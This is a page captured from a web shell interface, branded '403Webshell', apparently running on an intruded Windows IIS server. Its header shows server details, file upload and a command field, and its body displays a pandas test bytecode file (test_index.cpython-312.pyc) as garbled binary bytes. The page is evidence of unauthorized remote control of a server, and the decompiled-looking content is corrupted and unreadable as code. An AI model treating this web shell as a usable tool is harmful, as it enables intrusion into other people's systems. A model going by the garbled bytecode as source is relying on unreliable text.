403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/reshape/concat/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/reshape/concat/__pycache__/test_index.cpython-312.pyc
�

0	�g-D���ddlmZddlZddlZddlmZddlZddlm	Z	m
Z
mZmZm
Z
ddlmZGd�d�ZGd�d�Zy)	�)�deepcopyN)�PerformanceWarning)�	DataFrame�Index�
MultiIndex�Series�concatc�x�eZdZd�Zej
j
dgd��d��Zd�Zd�Z	d�Z
d�Zd	�Zy
)�TestIndexConcatc	�x�tgd�gd�gd�d��}tdgd�i�}tgd��|_tgd��|_t||gd	d
|��}tj
}t|||dggd
�gd�ddd|ggtgd����}|s|jgd�}tj||�y)N��a�b�c����)�@皙����	@�333333�?)�test1�test2�test3r)�������@皙����@�333333@��x�y�z)rr �qrT)�axis�ignore_index�sortr)rrrr)rrrrrrr)r"rr r!��index)rr r!r")	rrr'r	�np�nan�loc�tm�assert_frame_equal)�selfr%�frame1�frame2�v1r)�expecteds       �HC:\Python312\Lib\site-packages\pandas/tests/reshape/concat/test_index.py�test_concat_ignore_indexz(TestIndexConcat.test_concat_ignore_indexs����%�	�O�T�
���G�_�5�6���_�-����_�-���
�V�V�$�1�4�d�
K���f�f����c�3��$�"�"��a��c�"�	
��,�-�
����|�|�$8�9�H�
���b�(�+�z#name_in1,name_in2,name_in3,name_out))�idxr5r5r5)r5r5NN)r5NNN)�idx1�idx2NN)r6r6r7N)r6r7�idx3N)NNNNc	��tgd�|��tgd�|��tgd�|��g}t|gd��D��cgc]\}}t|gd�i|����}}}t|d�	�}	tgd
�|��}
tdddtj
tj
gtj
dddtj
gtj
tj
dddgd�|
��}t
j|	|�ycc}}w)
Nr
��name)rr�d)rr<�er)rrrr&r�r#)rrrr<r=rr)r�ziprr	r(r)r+r,)r-�name_in1�name_in2�name_in3�name_out�indices�ir�frames�result�exp_indr1s            r2�test_concat_same_index_namesz,TestIndexConcat.test_concat_same_index_names-s���
�/��1��/��1��/��1�
��<?�w��;X�
�37�1�a�I�q�)�n�A�.�
��
���Q�'���1��A�����A�r�v�v�r�v�v�.��f�f�a��A�r�v�v�.��f�f�b�f�f�a��A�.�
�
�

��	���f�h�/��
s�Dc	��ttjjd�jd�t	d�tt	d�d����}ttjjd�jd�t	d�tt	d�d����}t
||gd	d
gddg�
�}t
||gd	d
gdg�
�}t	|jj�}d|d<|jj|d��tj||�|jj|jjk(sJ�y)Nr)rr�ABC�abc�index_ar:)�columnsr'�index_b�key0�key1�lvl0�lvl1��keys�namesrT)�inplace)rr(�random�default_rng�listrr	r'rV�	set_namesr+r,)r-rrrG�exprVs      r2�test_concat_rename_indexz(TestIndexConcat.test_concat_rename_indexQs����I�I�!�!�!�$�+�+�F�3���K���U��)�4�
��

��I�I�!�!�!�$�+�+�F�3���K���U��)�4�
����A��f�f�%5�f�f�=M�N���a��V�6�6�"2�6�(�C���S�Y�Y�_�_�%����a���	�	���E�4��0�
���f�c�*��|�|�!�!�S�Y�Y�_�_�4�4�4r4c��tddg�}t||g|d��}|r|dvr|j|jusJ�y|j|jusJ�y)NrrT�r#�copy�rr')rr	r')r-r#�using_copy_on_write�ser�combs     r2�test_concat_copy_index_seriesz-TestIndexConcat.test_concat_copy_index_seriesgsW���a��V�n���s�C�j�t�$�7��"�d�l�&:��:�:�S�Y�Y�.�.�.��:�:����*�*�*r4c�<�tddgddggddg��}t||g|d�	�}|sO|jj|j�rJ�|jj|j�rJ�y|d
vrO|jj|j�rJ�|jj|j�sJ�y|dvrO|jj|j�sJ�|jj|j�rJ�yy)Nrrr�rr�rNTr_ra)rrN)rr	r'�is_rN)r-r#rb�dfrds     r2�test_concat_copy_index_framez,TestIndexConcat.test_concat_copy_index_frameps���
��A���A��'�#�s��
<���r�2�h�T��5��"��z�z�~�~�b�h�h�/�/�/��|�|�'�'��
�
�3�3�3�3�
�\�
!��z�z�~�~�b�h�h�/�/�/��<�<�#�#�B�J�J�/�/�/�
�^�
#��:�:�>�>�"�(�(�+�+�+��|�|�'�'��
�
�3�3�3�3�$r4c�x�tgd�d��}tgd�d��}t||gdd��}t|jtj
�sJ�t
dd	gd
dgdd
gg�}tj||dd��tgd��}tgd��}t||gdd��}t|jtj
�sJ�t
dd	gd
dgdd
gg�}t	j
d
�|_tj||dd��t
dd
gdd
gd��}t
dd	gddgd��}t||gdd��}t
ddgd
d
gddgd	dggddg��}tj||dd��t||gdd��}t
gd�gd�g�}tj||dd��y)Nrrr:)rg��r rT)r#r$rgrrmrrn��check_index_type�check_column_typeF)�A�B��rrrrsrh)rrmrrt)rrnrgru)	rr	�
isinstancerN�pd�
RangeIndexrr+r,)r-�s1�s2�resr\�df1�df2s       r2�test_default_indexz"TestIndexConcat.test_default_index~s���
�I�C�
(��
�I�C�
(���b�"�X�A�D�9���#�+�+�r�}�}�5�5�5��!�Q��!�Q��!�Q��0�1��	���c�3��QU�V��I�
��
�I�
���b�"�X�A�E�:���#�+�+�r�}�}�5�5�5��!�Q��!�Q��!�Q��0�1���m�m�A�&���
���c�3��QU�V��q�!�f�A�q�6�2�3���q�!�f�A�q�6�2�3���c�3�Z�a�d�;���!�Q��!�Q��!�Q��!�Q��8�3��*�M��
���c�3��QU�V��c�3�Z�a�d�;����|�4�5��
���c�3��QU�Vr4c
�`�ttjjd�j	ddd��jdd�gd���}t
||gd	�
�}tj|jdd�dd�f|�tj|jdd�dd�f|�t
||gd�
�}tj|jdd|�tj|jdd|�t
ttjjd�jd�gd���ttjjd�j	ddd
��jdd�ddg��gd	�
�}t
||gd	�
�}tj|jdd�dd�f|�tj|jdd�dd�f|�t
||gd�
�}tj|jdd|�tj|jdd|�|jdd�dd�fj|jdd�}tj||�|jdd�dd�fj|jdd�j|jdd�}tj||�t
||gd�
�}|j|�}tj||�y)Nrr�
�()�sizerg)rrrr�Cr�rhrr>)r�rg)rrrrrsrs�rrr�rnru�	)rr(rXrY�integers�reshaper	r+r,�iloc�standard_normal�_append)r-rjrGr1s    r2�test_dups_indexzTestIndexConcat.test_dups_index�s�����I�I�!�!�!�$�-�-�a��"�-�=�E�E�b�!�L�(�
��
��R��q�)��
���f�k�k�!�R�a�R�%�0�"�5�
���f�k�k�!�Q�R�%�0�"�5���R��q�)��
���f�k�k�#�2�.��3�
���f�k�k�"�#�.��3����I�I�)�)�!�,�<�<�W�E�0����I�I�)�)�!�,�5�5�a��"�5�E�M�M�b�RS�T� �#�J��	
��
����R��q�)��
���f�k�k�!�R�a�R�%�0�"�5�
���f�k�k�!�Q�R�%�0�"�5���R��q�)��
���f�k�k�#�2�.��3�
���f�k�k�"�#�.��3�����1��a���(�(�������5��
���f�b�)�����1��a���(�(�����1��6�>�>�r�w�w�q��}�M��
���f�b�)��2�r�(��+�����B���
���f�h�/r4N)
�__name__�
__module__�__qualname__r3�pytest�mark�parametrizerIr]rerkr~r��r4r2rrsM��,�2�[�[���-�	
��0��0�05�,+�4�W�@10r4rc
�f�eZdZd�Zd�Zd�Zd�Zejjddge
d�gdgejd	d
�gdgdd
ggdge
jddd��gg�ejjddge
d�gdgejd	d
�gdgdd
ggdge
jddd��gg�dedefd���Zd�Zd�Zd�Zejjdddgggd�gg�d��Zd�Zd�Zd�Zejjdgd ��d!��Zd"�Zy#)$�TestMultiIndexConcatc�X�|}|j}t||gddgdg��}|jjd|jzk(sJ�tj|j
d|�tj|j
d|�|jjdk(sJ�y)Nrr�	iterationrT)r�r)r'r	rVr+r,r*�nlevels)r-� multiindex_dataframe_random_data�framer'rGs     r2� test_concat_multiindex_with_keysz5TestMultiIndexConcat.test_concat_multiindex_with_keys�s���0����������a��V�K�=�I���|�|�!�!�^�e�k�k�%A�A�A�A�
���f�j�j��m�U�3�
���f�j�j��m�U�3��|�|�#�#�q�(�(�(r4c��tjdgtd�gddg��}tdtd�i|tj
��}t
||gddgdg�	�}tjddgdgtd�ggd
���}tdttd��dzi|tj
��}tj||�t
||ddgddgdg�	�}dgdzdgdzz}dgdz}ttd��ttd��z}tt|||��}tj|gd
���}td|i|tj
��}tj||�y)Nrrm�level1�rV�col)r'�dtyper�level2rT)r�r�Nrt)r�from_product�rangerr(�int32r	rZr+r,r?�from_tuples)	r-r'rjrGr1r�r��no_name�tupless	         r2�/test_concat_multiindex_with_none_in_index_nameszDTestMultiIndexConcat.test_concat_multiindex_with_none_in_index_names�sY���'�'�!��e�A�h���$�?O�P��
��u�Q�x�(��R�X�X�
F����R���1�v�h�Z�@���'�'���V�a�S�%��(�#�+E�
���e�T�%��(�^�a�%7�8��R�X�X�V��
���f�h�/���R���V��A�q�6�(��D����q��A�3��7�"����q����u�Q�x�.�4��a��>�1���c�&�&�'�2�3���&�&�v�5O�P���e�W�-�U�"�(�(�K��
���f�h�/r4c	�@�ttjjd�j	d��}tt
jd�t
jd�gtjtjd�d�tjtjd�d�g��|_t|jgd�dd�f|jdgdd�fg�}|jgd�dd�f}tj||�y)Nr)r�rr��levels�codes)rrrgrm)rrrgrm)rr(rXrYr�rrwrx�repeat�arange�tiler'r	r�r+r,)r-rjr{r\s    r2�!test_concat_multiindex_rangeindexz6TestMultiIndexConcat.test_concat_multiindex_rangeindex�s���
�r�y�y�,�,�Q�/�?�?��G�
H����M�M�!�$�b�m�m�A�&6�7��9�9�R�Y�Y�q�\�1�-�r�w�w�r�y�y��|�Q�/G�H�
���
�b�g�g�i��l�+�R�W�W�a�S�!�V�_�=�>���g�g�l�A�o�&��
���c�3�'r4c��tjdgdgg�}tdg|��}tjdgdgg�}tdg|��}||d�}tdd	gdgddggddgddgddgggd
���}tdgdgg|��}tt	|�dg�
�}tj||�t|dg�
�}	tj|	|�y)Nrrrr&rr)ryrzryrz)�testnameNN)r�r�rVr�r�)rr�rr	rr+r,)
r-�example_multiindex1�example_dataframe1�example_multiindex2�example_dataframe2�example_dict�expected_indexr1�result_copy�result_no_copys
          r2�(test_concat_multiindex_dfs_with_deepcopyz=TestMultiIndexConcat.test_concat_multiindex_dfs_with_deepcopys���(�5�5��u�s�e�n�E��&��s�2E�F��(�5�5��u�s�e�n�E��&��s�2E�F��0�8J�K��#��4�L�3�%�#�s��4��q�6�A�q�6�A�q�6�*�*�
��
�q�c�A�3�Z�~�>���X�l�3�J�<�H��
���k�8�4���Z�L�A��
���n�h�7r4�mi1_listrrrg@g@rrrrsr<�2017�2018)�start�end�periods�mi2_listc���tj|�}tj|�}ttjdt|�f�|��}ttjdt|�f�|��}|d|dk(r%t|dt
|d�ggd�gd�g��}n9t|d|dzt
|d�t
|d�zggd�gd�g��}ttjdt|�f�|��}tjd�5t||fd�	�}	ddd�tj|	�y#1swY� xYw)
Nrrhr)rrrr)rrrrr�)rrrr)rrrrr>)rr�rr(�zeros�lenrZr+�assert_produces_warningr	r,)
r-r�r��mi1�mi2r|r}�expected_mi�expected_df�	result_dfs
          r2�*test_concat_with_various_multiindex_dtypesz?TestMultiIndexConcat.test_concat_with_various_multiindex_dtypess@��,�%�%�h�/���%�%�h�/������!�S��X��/��=������!�S��X��/��=���A�;�(�1�+�%�$� ���T�(�1�+�%6�7�#�\�2��K�
%��Q�K�(�1�+�-���!��%��X�a�[�(9�9��$�\�2��K� ����!�S��-=�)>� ?��U��
�
'�
'��
-�	3���S�z��2�I�	3�	���k�9�5�	3�	3�s�*E�E"c�<�tdgd�igd���}t|gdg��}dggd�g}|j}tj|�}tj||�|}tdgd�itj|���}tj||�y)Nr�r
)�1�2r�r&�X�rU)rr	r'rr�r+�assert_index_equalr,)r-rj�	iterables�result_indexr�r�r�s       r2�test_concat_multiindex_z,TestMultiIndexConcat.test_concat_multiindex_Fs���
���/��
G��
�R�D��u�
%���U�O�,�	��x�x��#�0�0��;��
���l�N�;��	��
�O�$�J�,C�,C�I�,N�
��	���i��5r4c��tddgi�}tddgi�}tddgi�}t|||ggd���}tjtd��5|j
d	dd�f}ddd�tdgd
�it
gd����}tjtd��5|j
d	}ddd�tj�tdgd
�i�}tdddgi�}tdddgi�}t|||ggd���}tjtd��5|j
d	dd�f}ddd�tgd�gd�td�d��jddg�}ddg|j_tjtd��5|j
d	dd�f}ddd�tj||�y#1swY��sxYw#1swY��1xYw#1swY��xYw#1swY�FxYw)Nr;rrr)rr rr�zindexing past lexsort depth��match�rrr)r�)r rr�r&)rrrrrrr<)rrrr r rr)rrrrrrr�aababcd)rrr;)rr	r+r�rr*rr,rZ�	set_indexr'rV)r-r|r}�df3�df_a�out_a�df_b�out_bs        r2�test_concat_with_key_not_uniquez4TestMultiIndexConcat.test_concat_with_key_not_uniqueWs����!��
�&����!��
�&����!��
�&���s�C��o�O�<��
�
'�
'��&C�
�	*��H�H�X�q�[�)�E�	*�
�
�Y��u�-K�'L�
���
'�
'��&C�
�	'��H�H�X�&�E�	'�
	���e�U�+����1�2����#�s��,�-����#�s��,�-���s�C��o�O�<��
�
'�
'��&C�
�	*��H�H�X�q�[�)�E�	*�
�8�*��Y��
�
��)�S�#�J�
�
	
�!�$�<��
�
��
�
'�
'��&C�
�	*��H�H�X�q�[�)�E�	*�
	���e�U�+�K	*�	*��	'�	'��	*�	*��	*�	*�s0�G�+G*�3G7�*H�G'�*G4�7H�Hc���tddgidg��}tddgidg��}d}tjt|��5t	||gddggd�g�	�ddd�y#1swYyxYw)
Nrrrrr&r z*Level values not unique: \['x', 'y', 'y'\]r��rr r )rUr��rr��raises�
ValueErrorr	)r-r|r}�msgs    r2�"test_concat_with_duplicated_levelsz7TestMultiIndexConcat.test_concat_with_duplicated_levels�sm����q�c�
�3�%�0����q�c�
�3�%�0��;��
�]�]�:�S�
1�	J��C��:�S�#�J��7H�I�	J�	J�	J�s�A�A(r�rr r�c���tddgidg��}tddgidg��}d}tjt|��5t	||g|��ddd�y#1swYyxYw)	Nrrrrr&r z+levels supported only when keys is not Noner�)r�r�)r-r�r|r}r�s     r2�&test_concat_with_levels_with_none_keysz;TestMultiIndexConcat.test_concat_with_levels_with_none_keys�s`����q�c�
�3�%�0����q�c�
�3�%�0��;��
�]�]�:�S�
1�	.��C��:�f�-�	.�	.�	.�s�A�A"c� �tdddgi�}tdddgi�}t||gdd��}tddgddgd��}tj||�t	j
dd�}tj|j|d�	�y)
NrrrrT)r%r#)rrr)�exact)rr	r+r,rwrxr�r')r-r|r}rGr1r�s      r2�test_concat_range_index_resultz3TestMultiIndexConcat.test_concat_range_index_result�s�����q�!�f�
�&����q�!�f�
�&����c�
��A�6���A�q�6��A��7�8��
���f�h�/����q�!�,��
���f�l�l�N�$�Gr4c�$�tgd�gtgd�d����}tddggtddgd����}t||gd	d
d	��}tgd�ddtjggtgd�d����}tj||�y)
N�rrrr�object�r�rhrrrT�outer�r$�joinr%�rrg�?�rrr	r(r)r+r,)r-r|r}rGr1s     r2�test_concat_index_keep_dtypez1TestMultiIndexConcat.test_concat_index_keep_dtype�s�����U�9�H�-M�N���!�Q���%��A��h�*G�H����c�
��G�$�O���
�1�a����.�)�5��(�3S�
��	���f�h�/r4c�$�tgd�gtgd�|����}tddggtddg|����}t||gdd	d�
�}tgd�ddtjggtgd�|����}tj||�y)Nr�rr�rhrrrTr�r�r�r�)r-�any_numeric_ea_dtyper|r}rGr1s      r2�'test_concat_index_keep_dtype_ea_numericz<TestMultiIndexConcat.test_concat_index_keep_dtype_ea_numeric�s����
�K��y�8L�!M�
���!�Q���%��A��>R�*S�T����c�
��G�$�O���
�1�a����.�)��)�+?�@�
��	���f�h�/r4r�)�Int8�Int16�Int32c�$�tgd�gtgd�|����}tddggtddgd����}t||gd	d
d	��}tgd�ddtjggtgd�d����}tj||�y)
Nr�rr�rhrrrr�Tr�r�r�r�)r-r�r|r}rGr1s      r2�test_concat_index_find_commonz2TestMultiIndexConcat.test_concat_index_find_common�s������U�9�E�-J�K���!�Q���%��A��g�*F�G����c�
��G�$�O���
�1�a����.�)�5��'�3R�
��	���f�h�/r4c���tgd��}tddg�}tgd��}tg|stnd��}t||||gdddd	�
�}tdgdztj
gzdgdztj
gzdtj
gd
ztj
gd
zdgztj
gzg|stnd��}t
j||dd��y)Nr
rr)rrrr<zstring[pyarrow_numpy]r�Fr�r)r%r�r$r#rrrr<Tro)rr�r	rr(r)r+r,)r-�using_infer_stringryrz�s3�s4rGr1s        r2�(test_concat_axis_1_sort_false_rangeindexz=TestMultiIndexConcat.test_concat_axis_1_sort_false_rangeindex�s���
�O�
$��
�S�#�J�
��
�(�
)��
��$6�f�<S�
���
��R���5�w�U�QR�
������	�R�V�V�H�$����	�R�V�V�H�$��b�f�f�
��!�����1���u�$����x�/�	
�!3�&�8O�
��	����H�t�t�	
r4N)r�r�r�r�r�r�r�r�r�r�r�r(r�rw�
date_rangerZr�r�r�r�r�r�r�r�r�rr�r4r2r�r��s���)�0�*
(�8�(�[�[�����U�E�!�H���U�I�B�I�I�c�3�'�(��U�S�#�J���U�M�B�M�M��F�A�F�G�		
���[�[�����U�E�!�H���U�I�B�I�I�c�3�'�(��U�S�#�J���U�M�B�M�M��F�A�F�G�		
��6��6�(,�6���$6�>6�",,�\J��[�[���X�#�s����6G�'H�I�.�J�.�	H�0�0��[�[���W�&@�A�0�B�0�
r4r�)r`r�numpyr(r��
pandas.errorsr�pandasrwrrrrr	�pandas._testing�_testingr+rr�r�r4r2�<module>r
s<����
�,�����|0�|0�~F
�F
r4

Youez - 2016 - github.com/yon3zu
LinuXploit